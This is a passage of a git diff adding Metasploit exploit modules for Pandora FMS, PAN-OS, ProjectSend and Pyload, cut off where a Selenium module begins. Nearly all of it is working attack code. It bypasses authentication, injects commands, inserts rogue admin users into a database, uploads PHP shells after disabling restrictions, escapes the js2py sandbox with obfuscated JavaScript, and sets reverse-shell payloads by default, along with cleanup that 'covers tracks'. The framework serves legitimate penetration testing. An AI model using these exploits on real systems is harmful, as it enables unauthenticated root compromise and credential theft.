'ldap_search_timeout' => 0, + 'secondary_ldap_enabled_sent' => 1, + 'ldap_server_secondary' => 'localhost', + 'ldap_port_secondary' => 389, + 'ldap_version_secondary' => 3, + 'ldap_start_tls_secondary_sent' => 1, + 'ldap_base_dn_secondary' => 'ou%3DPeople%2Cdc%3Dedu%2Cdc%3Dexample%2Cdc%3Dorg', + 'ldap_login_attr_secondary' => 'uid', + 'ldap_admin_login_secondary' => nil, + 'ldap_admin_pass_secondary' => nil, + 'double_auth_enabled_sent' => 1, + '2FA_all_users_sent' => 1, + 'session_timeout' => 90, + 'update_button' => 'Update', + 'ldap_function' => 'local' + } + }) + return res&.code == 200 + end + + # CVE-2024-11320: Command Injection leading to RCE via LDAP Misconfiguration + def execute_command(cmd, _opts = {}) + # modify php payload to trigger the RCE + payload = "';#{target['Type'] == :php_cmd ? "php -r'#{cmd.gsub(/'/, '"')}'" : cmd} #" + + # misconfigure LDAP settings with RCE payload + # clear cookies and execute dummy login to trigger the LDAP RCE payload + if configure_ldap(payload) + @clean_payload = true + cookie_jar.clear + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'vars_get' => { + 'login' => 1 + } + }) + else + @clean_payload = false + end + end + + def cleanup + # try to remove the payload from the LDAP settings to cover our tracks + # but do not run during the check phase + super + unless @check_running + # Disconnect from MySQL server + mysql_client.close if mysql_client + # check if payload should be removed + if @clean_payload + if pandora_login(@username, @password) && configure_ldap(nil) + print_good('Payload is successful removed from LDAP configuration.') + return + end + print_warning('Payload could not be removed from LDAP configuration. Try to clean it manually.') + end + end + end + + def check + @check_running = true + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'keep_cookies' => true + }) + unless res&.code == 200 && res.body.include?('PandoraFMS.com') || res.body.include?('Pandora FMS') + return CheckCode::Safe('Target is not a Pandora FMS application.') + end + + html = res.get_html_document + full_version = html.at('div[@id="ver_num"]') + if full_version.blank? + return CheckCode::Detected('Could not determine the Pandora FMS version.') + end + + full_version = full_version.text + version = full_version[1..].sub('NG', '') + if version.blank? + return CheckCode::Detected('Could not determine the Pandora FMS version.') + end + + version = Rex::Version.new(version) + unless version >= Rex::Version.new('7.0.718') && version <= Rex::Version.new('7.0.777.4') + return CheckCode::Safe("Pandora FMS version #{full_version}") + end + + CheckCode::Appears("Pandora FMS version #{full_version}") + end + + def exploit + @check_running = false + # check if we can login at the Pandora Web application with the default admin credentials + @username = datastore['USERNAME'] + @password = datastore['PASSWORD'] + print_status("Trying to log in with admin credentials #{@username}:#{@password} at the Pandora FMS Web application.") + unless pandora_login(@username, @password) + # connect to the PostgreSQL DB with default credentials + print_status('Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.') + mysql_login_res = mysql_login(datastore['RHOSTS'], datastore['DB_USER'], datastore['DB_PASSWORD'], datastore['DB_NAME'], datastore['DB_PORT']) + fail_with(Failure::Unreachable, "Unable to connect to the MySQL server on port #{datastore['DB_PORT']}.") unless mysql_login_res + + # add a new admin user + @username = Rex::Text.rand_text_alphanumeric(5..8).downcase + @password = Rex::Text.rand_password + + # check the password hash algorithm by reading the password hash of the admin user + # new pandora versions hashes the password in bcrypt $2*$, Blowfish (Unix) format else it is a plain MD5 hash + mysql_query_res = mysql_query("SELECT password FROM tusuario WHERE id_user = 'admin';") + fail_with(Failure::BadConfig, 'Cannot find admin credentials to determine password hash algorithm.') if mysql_query_res == false || mysql_query_res.size != 1 + hash = mysql_query_res.fetch_hash + if hash['password'].match(/^\$2.\$/) + password_hash = Password.create(@password) + else + password_hash = Digest::MD5.hexdigest(@password) + end + print_status("Creating new admin user with credentials #{@username}:#{@password} for access at the Pandora FMS Web application.") + mysql_query_res = mysql_query("INSERT INTO tusuario (id_user, password, is_admin) VALUES (\'#{@username}\', \'#{password_hash}\', '1');") + fail_with(Failure::BadConfig, "Adding new admin credentials #{@username}:#{@password} to the database failed.") if mysql_query_res == false + + # log in with the new admin user credentials at the Pandora FMS Web application + print_status("Trying to log in with new admin credentials #{@username}:#{@password} at the Pandora FMS Web application.") + fail_with(Failure::NoAccess, 'Failed to authenticate at the Pandora FMS application.') unless pandora_login(@username, @password) + end + print_status('Succesfully authenticated at the Pandora FMS Web application.') + + # storing credentials at the msf database + print_status('Saving admin credentials at the msf database.') + store_valid_credential(user: @username, private: @password) + + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :unix_cmd, :php_cmd + execute_command(payload.encoded) + else + fail_with(Failure::BadConfig, "Unsupported target type: #{target['Type']}.") + end + end +end diff --git a/modules/exploits/linux/http/panos_management_unauth_rce.rb b/modules/exploits/linux/http/panos_management_unauth_rce.rb new file mode 100644 index 000000000000..c6b78f2123c6 --- /dev/null +++ b/modules/exploits/linux/http/panos_management_unauth_rce.rb @@ -0,0 +1,244 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Palo Alto Networks PAN-OS Management Interface Unauthenticated Remote Code Execution', + 'Description' => %q{ + This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection + vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can + execute arbitrary code with root privileges. + + The following versions are affected: + * PAN-OS 11.2 (up to and including 11.2.4-h1) + * PAN-OS 11.1 (up to and including 11.1.5-h1) + * PAN-OS 11.0 (up to and including 11.0.6-h1) + * PAN-OS 10.2 (up to and including 10.2.12-h2) + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'watchTowr', # Technical Analysis + 'sfewer-r7' # Metasploit module + ], + 'References' => [ + ['CVE', '2024-0012'], + ['CVE', '2024-9474'], + # Vendor Advisories + ['URL', 'https://security.paloaltonetworks.com/CVE-2024-0012'], + ['URL', 'https://security.paloaltonetworks.com/CVE-2024-9474'], + # Technical Analysis + ['URL', 'https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/'] + ], + 'DisclosureDate' => '2024-11-18', + 'Platform' => [ 'linux', 'unix' ], + 'Arch' => [ARCH_CMD], + 'Privileged' => true, # Executes as root on Linux + 'Targets' => [ + [ + 'Default', { + 'Payload' => { + # See the comment in the exploit method for how we calculated the payload Space value. + 'Space' => 5670, + # We write the payload in chunks, which limits our total space, but is also slow, so we disable nops + # to ensure the payload is as small as possible. + 'DisableNops' => true, + 'BadChars' => '\\\'"&' + } + } + ] + ], + # NOTE: Tested with the payloads: + # cmd/linux/http/x64/meterpreter_reverse_tcp + # cmd/linux/http/x64/meterpreter/reverse_tcp + # cmd/unix/reverse_bash + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true, + # A writable directory on the target for fetch based payloads to write to. + 'FETCH_WRITABLE_DIR' => '/var/tmp' + }, + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options( + [ + OptString.new('WRITABLE_DIR', [true, 'The full path of a writable directory on the target.', '/var/tmp']) + ] + ) + end + + # Our check routine leverages the two vulnerabilities to write a file to disk, which we then read back over HTTPS to + # confirm the target is vulnerable. The check routine will delete this file after it has been read. + def check + check_file_name = Rex::Text.rand_text_alphanumeric(4) + + # NOTE: We set dontfail to true, as a check routine cannot fail_with(). + + # return Safe if we fail to trigger the vulnerability and execute a command. + return CheckCode::Safe unless execute_cmd( + "echo #{check_file_name} > /var/appweb/htdocs/unauth/#{check_file_name}", + dontfail: true + ) + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri('unauth', check_file_name) + ) + + return CheckCode::Unknown('Connection failed') unless res + + if res.code == 200 && res.body.include?(check_file_name) + + # return Unknown if we fail to trigger the vulnerability a second time. + return CheckCode::Unknown unless execute_cmd( + "rm -f /var/appweb/htdocs/unauth/#{check_file_name}", + dontfail: true + ) + + return Exploit::CheckCode::Vulnerable + end + + CheckCode::Safe + end + + # We can only execute a short command upon each invocation of the command injection vulnerability. To execute + # a Metasploit payload, we first write the payload to a file, but we do the file write in small + # chunks. Additionally, the command injection may trigger twice per invocation. To overcome this we store each + # chunk in a unique, sequential file, so that if invoked twice, we still end up with the same file for that chunk. + # We then amalgamate all these chunks together back into a single file, reconstituting the original payload. + # Finally we read the payload from the file, and pipe it to a shell to execute it. To avoid our payload being + # executed twice, the payload will delete the single payload file upon the first execution of the payload, + # causing any second attempt to execute the payload to fail. + def exploit + tmp_file_name = Rex::Text.rand_text_alphanumeric(4) + + bootstrap_payload = "rm -f #{datastore['WRITABLE_DIR']}/#{tmp_file_name}*;#{payload.encoded}" + + idx = 1 + idx_prefix = '' + + # Our command injection can at most be 63 characters. We need 2 characters for a double back tick, and + # 25 for the echo command that writes the chunk to a file (assuming a path of /var/tmp and a single digit idx + # value. So by default, the chunk size will be 36. However this may change as we write the chunks. + # To ensure the `cat tmp_file_name*` command amalgamates the files in the correct order, if an idx goes above 9, + # we reset the idx back to 1, and append a '9' character to an idx_prefix variable. This will ensure we get + # sequential files, for example tmp1, tmp2, ..., tmp9, tmp91, tmp92, ..., tmp99, tmp991, tmp992, ... + # A result of appending a character to the idx_prefix variable, is we can write 1 less character in the chunk, so + # we must recompute the chunk size, to ensure we dont go over the 63 character limit. + chunk_size = 63 - 2 - "echo -n ''>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx_prefix}#{idx}".length + + # We display the progress to the user, so track that with a current and max chunk number. + curr_chunk_number = 1 + + max_chunk_number = (bootstrap_payload.length / chunk_size) + 1 + + while bootstrap_payload && !bootstrap_payload.empty? + + print_status("Uploading payload chunk #{curr_chunk_number} of #{max_chunk_number}...") + + chunk = bootstrap_payload[0, chunk_size] + + bootstrap_payload = bootstrap_payload[chunk_size..] + + execute_cmd("echo -n '#{chunk}'>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx_prefix}#{idx}") + + idx += 1 + + if idx > 9 + idx = 1 + idx_prefix += '9' + # Adjust chunk_size, as the idx_prefix value has had a '9' character appended to it, so the + # next chunk must have 1 less character. + chunk_size -= 1 + # If the payload was too big, and we run out of space in the command to write any chunk data, fail. + # This is unlikely to occur in practise, as the MSF payload command would need to be very large to exhaust the + # available space to write it. Back of a napkin calculation would be for every 9 chunks we get 1 less + # character, so starting with a chunk size of 36, we have (36 * 9) + (35 * 9) + (34 * 9), ... + (1 * 9), which + # would be a max MSF payload size of 5670 characters. Calculated with the command: + # ruby -e "sz=0; 1.upto(36){ |i| sz += ((36-i)*9) };p sz" + fail_with(Failure::BadConfig, 'No more space in the command to write chunk data, choose a smaller payload') if chunk_size.zero? + end + + curr_chunk_number += 1 + end + + print_status('Amalgamating payload chunks...') + + execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name}* > #{datastore['WRITABLE_DIR']}/#{tmp_file_name}") + + print_status('Executing payload...') + + execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name}|sh", dontfail: true) + end + + def execute_cmd(cmd, dontfail: false) + user = "`#{cmd}`" + + # There is a 63 character limit for the command injection. + if user.length >= 64 + fail_with(Failure::BadConfig, 'Command too long for execute_cmd') + end + + vprint_status(user) + + # Leverage the auth bypass (CVE-2024-0012) and poison a session parameter with the command to execute (CVE-2024-9474). + res1 = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri('php', 'utils', 'createRemoteAppwebSession.php', "#{Rex::Text.rand_text_alphanumeric(8)}.js.map"), + 'headers' => { + 'X-PAN-AUTHCHECK' => 'off' + }, + 'keep_cookies' => true, + 'vars_post' => { + 'user' => user, + 'userRole' => 'superuser', + 'remoteHost' => '', + 'vsys' => 'vsys1' + } + ) + + unless res1&.code == 200 + if dontfail + return false + end + + fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /php/utils/createRemoteAppwebSession.php') + end + + unless cookie_jar.cookies.find { |c| c.name == 'PHPSESSID' } + fail_with(Failure::UnexpectedReply, 'No PHPSESSID returned') + end + + # Trigger the command injection (CVE-2024-9474). + res2 = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri('index.php', '.js.map'), + 'keep_cookies' => true + ) + + unless res2&.code == 200 + if dontfail + return false + end + + fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /index.php/.js.map') + end + + true + end +end diff --git a/modules/exploits/linux/http/projectsend_unauth_rce.rb b/modules/exploits/linux/http/projectsend_unauth_rce.rb new file mode 100644 index 000000000000..329521abf3f4 --- /dev/null +++ b/modules/exploits/linux/http/projectsend_unauth_rce.rb @@ -0,0 +1,456 @@ +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::PhpEXE + prepend Msf::Exploit::Remote::AutoCheck + + class CSRFRetrievalError < StandardError; end + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'ProjectSend r1295 - r1605 Unauthenticated Remote Code Execution', + 'Description' => %q{ + This module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605. + The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration, + disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Florent Sicchio', # Discovery + 'Hugo Clout', # Discovery + 'ostrichgolf' # Metasploit module + ], + 'References' => [ + ['CVE', '2024-11680'], + ['URL', 'https://github.com/projectsend/projectsend/commit/193367d937b1a59ed5b68dd4e60bd53317473744'], + ['URL', 'https://www.synacktiv.com/sites/default/files/2024-07/synacktiv-projectsend-multiple-vulnerabilities.pdf'], + ['CVE', '2024-11680'] + ], + 'DisclosureDate' => '2024-07-19', + 'DefaultTarget' => 0, + 'Targets' => [ + [ + 'PHP Command', + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Type' => :php_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp' + } + } + ] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + register_options( + [ + OptString.new( + 'TARGETURI', + [true, 'The TARGETURI for ProjectSend', '/'] + ) + ] + ) + end + + def check + # Obtain the current title of the website + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php') + }) + return CheckCode::Unknown('Target is not reachable') unless res + + # The title will always contain "»" ("»") regardless of localization. For example: "Log in » ProjectSend" + title_regex = %r{.*?»\s+(.*?)} + original_title = res.body[title_regex, 1] + csrf_token = '' + + begin + csrf_token = get_csrf_token + rescue CSRFRetrievalError => e + return CheckCode::Unknown("#{e.class}: #{e}") + end + + # Generate a new title for the website + random_new_title = Rex::Text.rand_text_alphanumeric(8) + + # Test if the instance is vulnerable by trying to change its title + params = { + 'csrf_token' => csrf_token, + 'section' => 'general', + 'this_install_title' => random_new_title + } + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'), + 'keep_cookie' => true, + 'vars_post' => params + }) + + return CheckCode::Unknown('Failed to connect to the provided URL') unless res + + # GET request to check if the title updated + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php') + }) + + # Extract new title for comparison + updated_title = res.body[title_regex, 1] + + if updated_title != random_new_title + return CheckCode::Safe + end + + # If the title was changed, it is vulnerable and we should restore the original title + params = { + 'csrf_token' => csrf_token, + 'section' => 'general', + 'this_install_title' => original_title + } + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'), + 'keep_cookie' => true, + 'vars_post' => params + }) + + return CheckCode::Appears + end + + def get_csrf_token + vprint_status('Extracting CSRF token...') + # Make sure we start from a request with no cookies + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'), + 'keep_cookies' => true + }) + + unless res + fail_with(Failure::Unknown, 'No response from server') + end + + # Obtain CSRF token + csrf_token = res.get_html_document.xpath('//input[@name="csrf_token"]/@value')&.text + + raise CSRFRetrievalError, 'CSRF token not found in the response' if csrf_token.nil? || csrf_token.empty? + + vprint_good("Extracted CSRF token: #{csrf_token}") + + csrf_token + end + + def enable_user_registration_and_auto_approve + csrf_token = '' + + begin + csrf_token = get_csrf_token + rescue CSRFRetrievalError => e + fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}") + end + + # Enable user registration, automatic approval of new users allow all users to upload files and allow users to delete their own files + params = { + 'csrf_token' => csrf_token, + 'section' => 'clients', + 'clients_can_register' => 1, + 'clients_auto_approve' => 1, + 'clients_can_upload' => 1, + 'clients_can_delete_own_files' => 1, + 'clients_auto_group' => 0, + 'clients_can_select_group' => 'none', + 'expired_files_hide' => '1' + } + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'), + 'vars_post' => params + }) + + # Check if we successfully enabled clients registration + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php') + }) + + if res&.code == 200 && res.body.include?('Register as a new client.') + print_good('Client registration successfully enabled') + else + fail_with(Failure::Unknown, 'Could not enable client registration') + end + end + + def register_new_user(username, password) + cookie_jar.clear + csrf_token = '' + + begin + csrf_token = get_csrf_token + rescue CSRFRetrievalError => e + fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}") + end + + # Create a new user with the previously generated username and password + params = { + 'csrf_token' => csrf_token, + 'name' => username, + 'username' => username, + 'password' => password, + 'email' => Rex::Text.rand_mail_address, + 'address' => Rex::Text.rand_text_alphanumeric(8) + } + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'register.php'), + 'keep_cookie' => true, + 'vars_post' => params + }) + + fail_with(Failure::Unknown, 'Could not create a new user') unless res&.code != 403 + print_good("User #{username} created with password #{password}") + end + + def disable_upload_restrictions + cookie_jar.clear + csrf_token = '' + + begin + csrf_token = get_csrf_token + rescue CSRFRetrievalError => e + fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}") + end + + print_status('Disabling upload restrictions...') + + # Disable upload restrictions, to allow us to upload our shell + params = { + 'csrf_token' => csrf_token, + 'section' => 'security', + 'file_types_limit_to' => 'noone' + } + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'), + 'keep_cookie' => true, + 'vars_post' => params + }) + end + + def login(username, password) + cookie_jar.clear + csrf_token = '' + + begin + csrf_token = get_csrf_token + rescue CSRFRetrievalError => e + fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}") + end + + print_status("Logging in as #{username}...") + + # Attempt to login as our newly created user + params = { + 'csrf_token' => csrf_token, + 'do' => 'login', + 'username' => username, + 'password' => password + } + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'), + 'vars_post' => params, + 'keep_cookies' => true + }) + + # Version r1295 does not set a cookie on login, instead we check for a redirect to the expected page indicating a successful login + if res&.headers&.[]('Set-Cookie') || (res&.code == 302 && res&.headers&.[]('Location')&.include?('/my_files/index.php')) + print_good("Logged in as #{username}") + return csrf_token + else + fail_with(Failure::NoAccess, 'Failed to authenticate. This can happen, you should try to execute the exploit again') + end + end + + def upload_file(username, password, filename) + login(username, password) + + # Craft the payload + payload = get_write_exec_payload(unlink_self: true) + data = Rex::MIME::Message.new + data.add_part(filename, nil, nil, 'form-data; name="name"') + data.add_part(payload, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{Rex::Text.rand_text_alphanumeric(8)}\"") + post_data = data.to_s + + # Upload the shell using a POST request + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'includes', 'upload.process.php'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data, + 'keep_cookies' => true + }) + + # Check if the server confirms our upload as successful + if res && res.body.include?('"OK":1') + print_good("Successfully uploaded PHP file: #{filename}") + + json_response = res.get_json_document + @file_id = json_response.dig('info', 'id') + + return res.headers['Date'] + else + fail_with(Failure::Unknown, 'PHP file upload failed') + end + end + + def calculate_potential_filenames(username, upload_time, filename) + # Hash the username + hashed_username = Digest::SHA1.hexdigest(username) + + # Parse the upload time + base_time = Time.parse(upload_time).utc + + # Array to store all possible URLs + possible_urls = [] + + # Iterate over all timezones + (-12..14).each do |timezone| + # Update the variable to reflect the currently looping timezone + adj_time = base_time + (timezone * 3600) + + # Insert the potential URL into our array + possible_urls << "#{adj_time.to_i}-#{hashed_username}-#{filename}" + end + + possible_urls + end + + def cleanup + super + + # Delete uploaded file + if @file_id + cookie_jar.clear + csrf_token = login(@username, @password) + + # Delete our uploaded payload from the portal + params = { + 'csrf_token' => csrf_token, + 'action' => 'delete', + 'batch[]' => @file_id + } + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'), + 'vars_post' => params, + 'keep_cookies' => true + }) + + # Version r1295 uses a GET request to delete the uploaded file + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'), + 'keep_cookies' => true, + 'vars_get' => { + 'action' => 'delete', + 'batch[]' => @file_id + } + }) + end + + cookie_jar.clear + csrf_token = '' + + begin + csrf_token = get_csrf_token + rescue CSRFRetrievalError => e + fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}") + end + + # Disable user registration, automatic approval of new users, disallow all users to upload files and prevent users from deleting their own files + params = { + 'csrf_token' => csrf_token, + 'section' => 'clients', + 'clients_can_register' => 0, + 'clients_auto_approve' => 0, + 'clients_can_upload' => 0, + 'clients_can_delete_own_files' => 0 + } + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'), + 'vars_post' => params + }) + + # Check if we successfully disabled client registration + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php') + }) + + if res&.body&.include?('Register as a new client.') + fail_with(Failure::Unknown, 'Could not disable client registration') + end + print_good('Client registration successfully disabled') + + print_status('Enabling upload restrictions...') + + # Enable upload restrictions for every user + params = { + 'csrf_token' => csrf_token, + 'section' => 'security', + 'file_types_limit_to' => 'all' + } + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'), + 'vars_post' => params + }) + end + + def trigger_shell(potential_urls) + # Visit each URL, to trigger our payload + potential_urls.each do |url| + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'upload', 'files', url) + }, 1) + end + end + + def exploit + enable_user_registration_and_auto_approve + + username = Faker::Internet.username + password = Rex::Text.rand_text_alphanumeric(8) + filename = Rex::Text.rand_text_alphanumeric(8) + '.php' + + # Set instance variables for cleanup function + @username = username + @password = password + + register_new_user(username, password) + + disable_upload_restrictions + + upload_time = upload_file(username, password, filename) + + potential_urls = calculate_potential_filenames(username, upload_time, filename) + + trigger_shell(potential_urls) + end +end diff --git a/modules/exploits/linux/http/pyload_js2py_cve_2024_39205.rb b/modules/exploits/linux/http/pyload_js2py_cve_2024_39205.rb new file mode 100644 index 000000000000..fbc26239bb5e --- /dev/null +++ b/modules/exploits/linux/http/pyload_js2py_cve_2024_39205.rb @@ -0,0 +1,180 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/stopwatch' + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)', + 'Description' => %q{ + CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate + javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference + to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions + and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74 + is the latest version of js2py which was released Nov 6, 2022. + + CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source + download manager designed to automate file downloads from various online sources. Pyload is vulnerable because + it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint. + This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we + can bypass this restriction in order to access the API to achieve unauth RCE. + }, + 'Author' => [ + 'Marven11', # PoC + 'Spencer McIntyre', # Previous pyLoad module which this is based on + 'jheysel-r7' # Metasploit module + ], + 'References' => [ + [ 'CVE', '2024-39205' ], + [ 'CVE', '2024-28397' ], + [ 'URL', 'https://github.com/Marven11/CVE-2024-39205-Pyload-RCE' ], + [ 'URL', 'https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g' ], + [ 'URL', 'https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape' ], + ], + 'DisclosureDate' => '2024-10-28', + 'License' => MSF_LICENSE, + 'Platform' => %w[unix linux], + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'Privileged' => true, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd + } + ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :linux_dropper + } + ], + ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + + register_options([ + Opt::RPORT(9666), + OptString.new('TARGETURI', [true, 'Base path', '/']) + ]) + end + + def check + sleep_time = rand(5..10) + + _, elapsed_time = Rex::Stopwatch.elapsed_time do + execute_command("sleep #{sleep_time}") + end + + vprint_status("Elapsed time: #{elapsed_time} seconds") + + unless elapsed_time > sleep_time + return CheckCode::Safe('Failed to test command injection.') + end + + CheckCode::Vulnerable('Successfully tested command injection.') + rescue Msf::Exploit::Failed + return CheckCode::Safe('Failed to test command injection.') + end + + def exploit + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + + case target['Type'] + when :unix_cmd + if execute_command(payload.encoded) + print_good("Successfully executed command: #{payload.encoded}") + end + when :linux_dropper + execute_cmdstager + end + end + + def javascript_payload(cmd) + js_vars = Rex::RandomIdentifier::Generator.new({ language: :javascript }) + + js = <<~EOS + let #{js_vars[:command]} = "#{cmd}" + let #{js_vars[:hacked]}, #{js_vars[:bymarve]}, #{js_vars[:n11]} + let #{js_vars[:getattr]}, #{js_vars[:obj]} + + #{js_vars[:base]} = '__base__' + #{js_vars[:getattribute]} = '__getattribute__' + #{js_vars[:hacked]} = Object.getOwnPropertyNames({}) + #{js_vars[:bymarve]} = #{js_vars[:hacked]}[#{js_vars[:getattribute]}] + #{js_vars[:n11]} = #{js_vars[:bymarve]}("__getattribute__") + #{js_vars[:obj]} = #{js_vars[:n11]}("__class__")[#{js_vars[:base]}] + #{js_vars[:getattr]} = #{js_vars[:obj]}[#{js_vars[:getattribute]}] + #{js_vars[:sub_class]} = '__subclasses__'; + + function #{js_vars[:findpopen]}(#{js_vars[:o]}) { + let #{js_vars[:result]}; + for(let #{js_vars[:i]} in #{js_vars[:o]}[#{js_vars[:sub_class]}]()) { + let #{js_vars[:item]} = #{js_vars[:o]}[#{js_vars[:sub_class]}]()[#{js_vars[:i]}] + if(#{js_vars[:item]}.__module__ == "subprocess" && #{js_vars[:item]}.__name__ == "Popen") { + return #{js_vars[:item]} + } + if(#{js_vars[:item]}.__name__ != "type" && (#{js_vars[:result]} = #{js_vars[:findpopen]}(#{js_vars[:item]}))) { + return #{js_vars[:result]} + } + } + } + + #{js_vars[:n11]} = #{js_vars[:findpopen]}(#{js_vars[:obj]})(#{js_vars[:command]}, -1, null, -1, -1, -1, null, null, true).communicate() + EOS + + opts = { 'Strings' => true } + + js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) + js.obfuscate(memory_sensitive: true) + js.to_s + end + + def execute_command(cmd, _opts = {}) + cmd.gsub!(/\\/, '\\\\\\\\') + cmd.gsub!(/"/, '\"') + vprint_status("Executing command: #{cmd}") + crypted_b64 = Rex::Text.encode_base64(rand(4)) + + res = send_request_cgi( + 'method' => 'POST', + 'headers' => { + 'Host' => "127.0.0.1:#{datastore['RPORT']}" + }, + 'uri' => normalize_uri(target_uri.path, 'flash', 'addcrypted2'), + 'vars_post' => { + 'crypted' => crypted_b64, + 'jk' => javascript_payload(cmd) + } + ) + + # The command will either cause the response to timeout or return a 500 + return if res.nil? + return if res.code == 500 && res.get_xml_document.xpath('//title').text == 'Sorry, something went wrong... :(' + + fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}") + end + +end diff --git a/modules/exploits/linux/http/selenium_greed_chrome_rce_cve_2022_28108.rb b/modules/exploits/linux/http/selenium_greed_chrome_rce_cve_2022_28108.rb new file mode 100644 index 000000000000..0df68c1f4119 --- /dev/null +++ b/modules/exploits/linux/http/selenium_greed_chrome_rce_cve_2022_28108.rb @@ -0,0 +1,133 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: 